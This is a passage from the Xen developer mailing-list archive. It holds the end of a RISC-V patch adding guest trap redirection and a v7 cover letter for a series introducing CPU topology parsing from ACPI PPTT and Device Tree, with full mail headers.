CSRs and the vCPU is resumed at its exception vector in supervisor
mode, following the trap entry rules of the RISC-V privileged
specification.

The implementation is based on kvm_riscv_vcpu_trap_redirect() from
Linux, with a few deviations:
 - The function reads and writes physical VS-mode CSRs, so it is only
   meaningful for the currently running vCPU. Instead of taking a
   struct vcpu argument, it always operates on current.
 - The MODE field of vstvec is masked off explicitly when computing the
   exception target PC (exceptions always vector to BASE), rather than
   relying on the hardwired zero bit of sepc to drop it on VM entry.
 - Assertions document the preconditions: the trap must have been taken
   from virtualized mode (hstatus.SPV set), and only synchronous
   exceptions may be redirected - interrupts must be injected via hvip
   instead, so that the hardware performs VS-mode trap entry itself,
   respecting vsstatus.SIE and vectored vstvec dispatch.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/guestcopy.c                | 54 +++++++++++++++++++++++
 xen/arch/riscv/include/asm/guest_access.h |  2 +
 2 files changed, 56 insertions(+)

diff --git a/xen/arch/riscv/guestcopy.c b/xen/arch/riscv/guestcopy.c
index 57844bc442f6..6dc7a2e3a7ae 100644
--- a/xen/arch/riscv/guestcopy.c
+++ b/xen/arch/riscv/guestcopy.c
@@ -205,3 +205,57 @@ unsigned long riscv_vcpu_unpriv_read(bool read_insn,
 
     return val;
 }
+
+/* Redirect trap to Guest. */
+void riscv_vcpu_trap_redirect(const struct trap_info *trap)
+{
+    struct cpu_user_regs *regs = vcpu_guest_cpu_user_regs(current);
+    unsigned long vsstatus = csr_read(CSR_VSSTATUS);
+
+    /*
+     * Redirecting a trap makes sense only if the trap was taken from
+     * virtualized mode, i.e. sret is going to return to VS-mode.
+     */
+    ASSERT(regs->hstatus & HSTATUS_SPV);
+
+    /*
+     * Only synchronous exceptions can be redirected. Interrupts must be
+     * injected via hvip instead, so that the hardware itself performs
+     * VS-mode trap entry, respecting vsstatus.SIE and the vectored
+     * dispatch (BASE + 4 * cause) if vstvec is configured so.
+     */
+    ASSERT(!(trap->scause & CAUSE_IRQ_FLAG));
+
+    /* Change Guest SSTATUS.SPP bit */
+    vsstatus &= ~SSTATUS_SPP;
+    if ( regs->sstatus & SSTATUS_SPP )
+        vsstatus |= SSTATUS_SPP;
+
+    /* Change Guest SSTATUS.SPIE bit */
+    vsstatus &= ~SSTATUS_SPIE;
+    if ( vsstatus & SSTATUS_SIE )
+        vsstatus |= SSTATUS_SPIE;
+
+    /* Clear Guest SSTATUS.SIE bit */
+    vsstatus &= ~SSTATUS_SIE;
+
+    /* Update Guest SSTATUS */
+    csr_write(CSR_VSSTATUS, vsstatus);
+
+    /* Update Guest SCAUSE, STVAL, and SEPC */
+    csr_write(CSR_VSCAUSE, trap->scause);
+    csr_write(CSR_VSTVAL, trap->stval);
+    csr_write(CSR_VSEPC, trap->sepc);
+
+    /*
+     * Set Guest PC to Guest exception vector.
+     *
+     * vstvec[1:0] is the vector MODE, not part of the address. Exceptions
+     * always target BASE regardless of MODE, so mask it off explicitly
+     * instead of relying on the hardwired zero bit of sepc to drop it.
+     */
+    regs->sepc = csr_read(CSR_VSTVEC) & ~0x3UL;
+
+    /* Set Guest privilege mode to supervisor */
+    regs->sstatus |= SSTATUS_SPP;
+}
diff --git a/xen/arch/riscv/include/asm/guest_access.h b/xen/arch/riscv/include/asm/guest_access.h
index 153ec6ce26d1..d96cbc833d27 100644
--- a/xen/arch/riscv/include/asm/guest_access.h
+++ b/xen/arch/riscv/include/asm/guest_access.h
@@ -31,6 +31,8 @@ unsigned long riscv_vcpu_unpriv_read(bool read_insn,
                                      unsigned long guest_addr,
                                      struct trap_info *trap);
 
+void riscv_vcpu_trap_redirect(const struct trap_info *trap);
+
 #endif /* ASM__RISCV__GUEST_ACCESS_H */
 /*
  * Local variables:
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:29:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:29:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367295.1617095 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqrO-0005Ma-Lh; Mon, 20 Jul 2026 16:28:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367295.1617095; Mon, 20 Jul 2026 16:28:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqrO-0005MT-Iv; Mon, 20 Jul 2026 16:28:54 +0000
Received: by outflank-mailman (input) for mailman id 1367295;
 Mon, 20 Jul 2026 16:28:53 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlqrM-0005MN-Ch
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:28:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqrL-00GPXm-F3
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:28:51 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4cad-bab6-0a2a0a5309dd-0a2a4508b85a-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:28:50 +0200
Received: from [52.101.228.137]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4cc0-f659-0a2a45080019-3465e489d062-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:28:50 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB6790.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:419::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 16:28:45 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 16:28:45 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=sogOiI02iMMaOTa9zKVbSW7gDft96RqxPPsTelcizkYqbZNoiliB+7WfxzIdfNp8suu219A4Z8S+sqnuyJA20Yd1nXdNorsBiyI6BLSnN+NS9XiMyomdV01N17xveLJd5vmQ+hbIYqQP62USw48WLnXaiY4JoFRJh3FCnuMWiCSGzM6iLJ7ksdUH9hEgedx0K/hlZkAaLrETF1CbdWhwl3ZDbTVco6HYNzyyH/WMinUYunW1AY817s8rIBWKympA8wvDsCXIkd9We5CY94yekrWaOTc6EcHIhSFdND6Ug/cbuPInqXlAFs62oCJqL1clu5+OgFYiPSxW7Q56L4iAQg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Tsy5KVKAwICehSQz8yn7E1ndoLB9bFACkryYy4c+9yU=;
 b=Q/81DNTKZgyCaXCX+t0ckh2lpBAZ5qCbCqf6Qh3x3VjzFN+dAtP6ir6EjwiuEwNR6Jgr+UZsUFoJtyqkSqBmhntfnUu02repBnxQ+y7GSIK09tdykNb6hkHobMZxKw4EDJbnxdDvGjxDmdi5YL0/JeHEFVFjf/QAfWuBct8jUy9jFGZ5mfGdPY9QvGO1aZ5dx/hj6a7hmKwpEz0ABjAoKWttuD3ucfM1t5r1/uBARu9zcW6RTiGBVkfTPZL4rE2D/e9ms3RfThEmJUYk3RJ54ZbzPTvHGe1M0TyAFXEs6nR3mx37kzW4hZLjyIAMukHFFnQ/2VzuuQAlsp7pHf+HAw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Tsy5KVKAwICehSQz8yn7E1ndoLB9bFACkryYy4c+9yU=;
 b=E0Regft0pPUgKwQOURrFtZgNXlYxgyOjwnooKim4EfrrL9s8c5CuVHxZFK0uy467wYw8WgHVkUe/Kezret7kfTkNc98xo+sZt946mopwQodCcBXKe2Nht4vC0g58x9IIhkJiYRLkE5GiSj3npNdmCbGCRr0hLnRCeOcKiGQ7ico=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>
Subject: [PATCH v7 0/5] xen/acpi,device-tree: Introduce generic CPU topology support for ACPI and DT
Date: Tue, 21 Jul 2026 01:28:14 +0900
Message-ID: <20260720162819.308326-1-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0032.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3ba::12) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS9P286MB6790:EE_
X-MS-Office365-Filtering-Correlation-Id: ceff422b-f51e-4d04-8946-08dee67bf803
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|10070799003|376014|3023799007|6133799003|10067099003|56012099006|29003799003|25016099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	lZsqbQO1bW/yc7XWxExroTaPT3dPVqQIw4bhlRMxIgWL9683POvIehPXvNNmH87jxk4sJAxWqvL44fg6ipE8ICeVObUWbXYvKuPOh9DbvOUjop4QgGHgGKQmM0Novn1aRYoeeNZX12St/WlGS8kh6saubfu3p5JbygXrZr57EWLDrBULv3+ast6CAx3bTyENKKyplSCjqBrfI7XSd6XVcI940yLtzodw5km9bv5Xsx5MF3L+ocEYBmO1WBh1n0pBuvUf5iLpNDK0xwbPsHnHczo/xmFre3Nh+Kgo9SfOYdUc2Gfu4m42RIOd6HM3oEDQkBpSlVO/PgDoPdsXrN+6xcuLTU7Z3ygnmeJTlGD3xChhEq6beAYSJ97ru/yMMqgHYF62YSvsNwNMjO+OXS9rZmF0M2D+kJ1ewUyeZROYBzQjg0QT/ffyIt8Vw5rKzIpMpTmt6yM7Jw2t6oOp7U0h81N0cLqg/c4aHCxs/4WPgpNtQ9SIx4DRXAs9MoKpg6ngdMTBTyMPyH7xP9ByaOx82lJ6U60Jh6YQbl7ZABuLFOIPE7G3FL9QdyTGwycru3y0c/LJm2keJH0w/00kETrGnAWvYLnT9cfnz5NcJDC3StfCOKxc7+OldbyXXkjUm8HSj1ajkyUSoe1LZJYifM2PkUx5WHDpObJc03aRYm72qfw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(10070799003)(376014)(3023799007)(6133799003)(10067099003)(56012099006)(29003799003)(25016099003)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?qQ3uMg/Yub4i9Cic5vNHPFTBjIBuMpd64q7Wv4l2P1F+YnPaewCmqd+T2NWU?=
 =?us-ascii?Q?Z5sU+THZ+gzci+FR6D+jQ4+X552r1LFxLsZSsf0elnbwRmG120ZPyjGX6Li9?=
 =?us-ascii?Q?g+MxAeYqXsN8LQa4h8mRtEAhaO7bxSBbTPqnsa54MZCKIqmMiDLQJIo9kY4+?=
 =?us-ascii?Q?28xu+TmUKaMVa2oZVVEdHBjqAilxeOP6bSm2GDPc6Jyvotr9NSTWIU+HYecT?=
 =?us-ascii?Q?qLmhR6/QDPDR0BBZB6bvX8hTxflC6yJSfWR3QYHcb6c8QXVn44qvZ82J88Fn?=
 =?us-ascii?Q?nH8TnW3k6Z6iCzk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ZzM6aeiJhXG+GgD01F35XU0/3a2QHpZU?=
 =?us-ascii?Q?al3WpLPD0LFg6mPl81i57REKjgk/Gd9CmLgPSGn8fwSy/fKR2RLOcMrsBSxC?=
 =?us-ascii?Q?5/yg6+F1nnrTxjMz4mWqolhx61i5P1ayL9+UY6Zve30zTjxLxW4xMKCK0EyG?=
 =?us-ascii?Q?kvDWyLxq2K1ZwilvPlqW3X8qQY1ztnBL8YOy/tBkDB7uA0LDfD6amHrSEElP?=
 =?us-ascii?Q?2uI7ianFRVfxxQdyqIKi/XDN3OYrvdRI2+NlC4i3b1eHOROxXcpKMtuvFxlD?=
 =?us-ascii?Q?mR703OzfKKCKNvKN4gNFDOqEyvCNjj/ieQ9SJRTnwNatfxz4XFoftks8yFQY?=
 =?us-ascii?Q?h/5L2CTkqEbB2nxckRntd6huoBbfZaTVxmOj7VdGxCol7GTM8aeqSrTzU58f?=
 =?us-ascii?Q?MR0VIPfmCd16J5eTvhWEnWFiqsNkY5e6ryIAfae5gDGrVGy5+8Ecjg20Rkfk?=
 =?us-ascii?Q?IIlAy8x+SH9b1I1bxdeRNrud0XGvgWFmmL+wVUWb8tXSnC0g4pmgjY5FavE+?=
 =?us-ascii?Q?3KcVZfPgANIfRkzdqyt3Cw8Nnh3mxxMbGifophsQPI+Ot2W/ZhdYU+wnbo0q?=
 =?us-ascii?Q?fjvJrQFDBPfXL0qooRa2IhpYS8PD6xGwbbOIHUgjOn7aSZvfla0PTwfakxhv?=
X-MS-Exchange-AntiSpam-MessageData-1: 3E9yDg3+aiy+4g==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: ceff422b-f51e-4d04-8946-08dee67bf803
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 16:28:45.0478
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 5QXlHrMskYTxpa+hpKdruVsyr94UiC/lXGoxkr9eGIi9h2ILOCMs7DDPhDMe34EepZRdd2JE2ZcNNPIXiLsSiw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB6790
X-purgate-ID: tlsNG-c1860d/1784564930-D5F4787B-C07AEDBA/0/0
X-purgate-type: clean
X-purgate-size: 10084

Hello,

This patch series integrates CPU topology discovery into the Xen hypervisor
for both ACPI and Device Tree platforms.

While the primary PPTT parsing logic was introduced in v5, this v7
focuses on hardening error checking, enforcing strict table validation.

Changes in v7:
- PPTT Table Validation & Hardening:
  * find_pptt_node(): Added leaf node verification (ACPI 6.3+).
  * acpi_init_cpu_topology(): Added bounds checks to ensure proc->parent
    validly references memory strictly inside the PPTT table bounds.
  * Factored out shared table checking helper functions used by both
    find_pptt_node() and acpi_init_cpu_topology().
  * Added subtable alignment checks and strengthened processor structure
    size validation.

- Graceful Fallback & Allocation:
  * Treated missing topology definitions as benign conditions.
  * Used xvzalloc_array() for temporary memory allocations during
    initialization.

- Build & Kconfig Adjustments:
  * Updated Kconfig to use "depends on UNSUPPORTED" instead of "if UNSUPPORTED".

- Code Cleanups & Style Conformance:
  * Used designated initializers for structure data initializations.
  * Consolidated topology helpers with IS_ENABLED().
  * Removed redundant error checks and reduced unnecessary pointer casts.
  * Switched type-based sizeof(type) to variable-based sizeof(*var).
  * Added leading spaces before labels ( out:)

Changes in v6:
 - Renamed the series subject from "xen/arm: Device Tree based CPU topology
   support" to reflect the inclusion of generic ACPI PPTT topology parsing.

 - Infrastructure & Kconfig:
   * Updated Kconfig to make both DT_CPU_TOPOLOGY and ACPI_CPU_TOPOLOGY
     select GENERIC_CPU_TOPOLOGY.
   * Ensured that if topology parsing from either DT or ACPI PPTT fails, the
     CPU topology table is freed to fall back to the non-topology behavior.
   * Moved the `cpu_topology` definition to `cpu.c` so that variables and
     functions in `cpu-topology.c` can be completely freed after Xen init.

 - Topology Logic (DT / ACPI):
   * Set the cluster ID to 0 when the cluster definition is missing from the
     Device Tree `cpu-map` node.
   * Handled cases where cluster info is missing upon reaching a physical
     package in the PPTT parser by assuming one cluster per socket.
   * Split out the import of ACPI PPTT definitions from the Linux kernel
     (including unused definitions) into a separate standalone patch.

 - Robustness & Safety:
   * Avoided assuming `np` becomes NULL after exiting `dt_for_each_child_node()`;
     explicitly return NULL instead.
   * Added bounds-checking `ASSERT`s for values returned by `cpumask_first()`.
   * Added explicit braces `{}` to nested `if` statements to clarify `else`
     scoping and maintain style symmetry.
   * Enforced an upper limit on the PPTT parsing loop iterations to prevent
     infinite loops on corrupted tables.
   * Treat the absence of a physical package node definition in PPTT as a
     parsing error.

 - Optimization & Efficiency:
   * Optimized `setup_siblings_masks()` to eliminate redundant loop iterations.
   * Dynamically allocate the temporary data storage used during ACPI PPTT
     parsing.

 - Code Cleanup & Refactoring:
   * Replaced the `invalid_topo_id` constant with the `INVALID_TOPO_ID` macro.
   * Initialized all members of the `cpu_map` array with `INVALID_TOPO_ID`.
   * Added a blank line between `<xen/...>` and `<asm/...>` header groups.
   * Reordered `#ifdef` blocks to prioritize generic logic over architecture-
     specific ones.
   * Corrected code indentation.
   * Applied the `static` specifier to file-local data structures and functions.
   * Minimized the use of fixed-width `uint32_t` types, restricting its use only
     where strictly required by the 32-bit ACPI ID specification.
   * Declared `map_cpu_acpiid[]` as static and introduced the helper function
     `acpi_map_cpu_acpiid()` for managed access.
   * Renamed local variables to more intuitive names.
   * Simplified the implementation of `get_logical_id()`.
   * Refactored PPTT parsing to reduce type casting by using `container_of()`
     and switching from `char *` to `void *` pointers.
   * Removed redundant error checks.
   * Cleaned up unused variables and eliminated debug print statements.

Changes in v5:
 - Extracted CPU topology information from the ACPI PPTT.
 - Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
   CONFIG_GENERIC_CPU_TOPOLOGY.

Changes in v4:
 - Only display the CPU topology configuration prompt in common/Kconfig
   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
 - Move the definition of the global 'cpu_topology' pointer to
   common/cpu-topology.c.
 - Update the Makefile to explicitly build objects as .init.o when all
   functions and data within a file are annotated with __init/__initdata,
   ensuring their memory is reclaimed after system initialization.
 - Add an error log in the CPU-to-node mapping function for out-of-bounds
   cases.
 - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
 - Rename variables and functions to avoid ambiguous or misleading terms:
   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructions.
   - Avoid 'node' where it could be confused with a NUMA node, explicitly
     renaming them to clarify they refer to a Device Tree node.
 - Move local variable declarations into the narrowest possible scope.
 - Replace the unsupported "%pOF" printk format specifier with "%s" and
   explicit node name retrieval.
 - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
   the header directly includes only what its definitions require.
 - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
   it with a forward declaration of 'struct dt_device_node'.
 - Use 'const' qualifiers for pointer declarations where the pointed-to
   structure is not modified.
 - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
   take precedence over the generic fallbacks.
 - Introduce inline initialization functions for cpu_sibling_mask and
   cpu_core_mask in cpu-topology.h, providing separate variants for both
   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.

Changes in v3:
 - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
   map mismatch issue on ARM Xen has been split out into a separate patch.
 - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
 - Allow the system to keep running with a degraded fallback even if
   the topology table allocation fails.
 - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
   from RISC-V and PPC processor.h.
 - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
   Elimination (DCE) where possible.
 - Clean up the code to follow the Xen coding style. Please let me know
   if I missed any style nits!
 - Verify successful builds across x86, RISC-V, and PPC environments.

Changes in v2:
 - Generate topology information even when ACPI is enabled. Note that
   this is a temporary implementation and doesn't yet parse the PPTT
   (Processor Properties Topology Table).
 - Added support for cpu-map node in Device Tree that doesn't contain
   explicit cluster node definitions.

Changes in v1 from the previous series "Introduce Device Tree based NUMA
support for ARM Xen":

1. Optimized Memory Allocation:
   The series now allocates only the minimum required memory area to manage
   the essential data for the CPUs.

2. Flexible Device Tree Parsing:
   The parsing logic no longer depends on the definition order of the 'cpu'
   nodes and 'cpu-map' nodes in the Device Tree. They can now be read
   correctly even if their orders do not match.

3. CPU Hotplug Readiness:
   To support future CPU hotplug, the system assumes that inactive CPUs are
   also described in the Device Tree. Xen will pre-load and generate the
   topology information for these inactive CPUs during the boot phase so
   it stays available in memory.

Thank you,
Hirokazu Takahashi

Hirokazu Takahashi (5):
  xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
  xen/sched: Link CPU topology to scheduler
  xen/sched: Make cpu_nr_siblings() architecture-specific
  xen/acpi: Import PPTT definitions from Linux
  xen/acpi: Parse PPTT to initialize CPU topology

 xen/arch/arm/Kconfig                   |   1 +
 xen/arch/arm/acpi/boot.c               |   2 +
 xen/arch/arm/include/asm/acpi.h        |   2 +
 xen/arch/arm/include/asm/processor.h   |   4 -
 xen/arch/arm/smpboot.c                 |  15 +-
 xen/arch/ppc/include/asm/processor.h   |   4 -
 xen/arch/riscv/include/asm/processor.h |   4 -
 xen/arch/x86/include/asm/processor.h   |   1 +
 xen/common/Kconfig                     |  22 ++
 xen/common/Makefile                    |   1 +
 xen/common/cpu-topology.c              |  62 ++++
 xen/common/cpu.c                       |   4 +
 xen/common/device-tree/Makefile        |   1 +
 xen/common/device-tree/cpu-topology.c  | 409 +++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  21 +-
 xen/common/sysctl.c                    |   1 +
 xen/drivers/acpi/Kconfig               |   3 +
 xen/drivers/acpi/Makefile              |   1 +
 xen/drivers/acpi/topology.c            | 330 ++++++++++++++++++++
 xen/include/acpi/actbl2.h              | 113 +++++++
 xen/include/xen/acpi.h                 |  15 +
 xen/include/xen/cpu-topology.h         |  76 +++++
 xen/include/xen/dt-cpu-topology.h      |  35 +++
 23 files changed, 1091 insertions(+), 36 deletions(-)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:30:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:30:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367301.1617103 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsa-0006z4-2U; Mon, 20 Jul 2026 16:30:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367301.1617103; Mon, 20 Jul 2026 16:30:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsZ-0006yx-Vk; Mon, 20 Jul 2026 16:30:07 +0000
Received: by outflank-mailman (input) for mailman id 1367301;
 Mon, 20 Jul 2026 16:30:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlqsY-0006rX-D5
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:30:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqsX-007DYj-Pd
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:30:05 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4ce3-bab6-0a2a0a5309dd-0a2a45099856-36
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:05 +0200
Received: from [52.101.228.82]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d0a-be1a-0a2a45090019-3465e452a176-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:05 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB6790.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:419::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 16:30:01 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 16:30:01 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=drJRfDV3tbzARWxwaDjZV+CQf2yx9Jht3g34j5/+Xczb9/2z66XkgebTzplWTA4+FEJzN77BdFQVzyNo5JW5TWVresG5+v7ywuPmHxOPTEp21kGeEXvcvPmL9qx2eaZYrMMVceDFbq6RsdR8ucsBkoo+1Iio1/oOKk+JRsPoWMb3T7BoTYBf33tyVJS0iNuDrF2P5f9lvqi0eGhsy//0VDk9QJL6rg0eJSfiJAmlE7wVCzL99yvrKcW7Yk58NH8vHCwPUNyi0uoxoaPpMWTELTW9dwH+smkjgJ38eKCcEMGLRzpqZOSef62xkXo/fjQLUQMqIVPw5wGVtMDn3Pf1yw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=c7KiknWv6CQz3nBiJcRuHkUHq5J1xbdGZY3kwOVyjYc=;
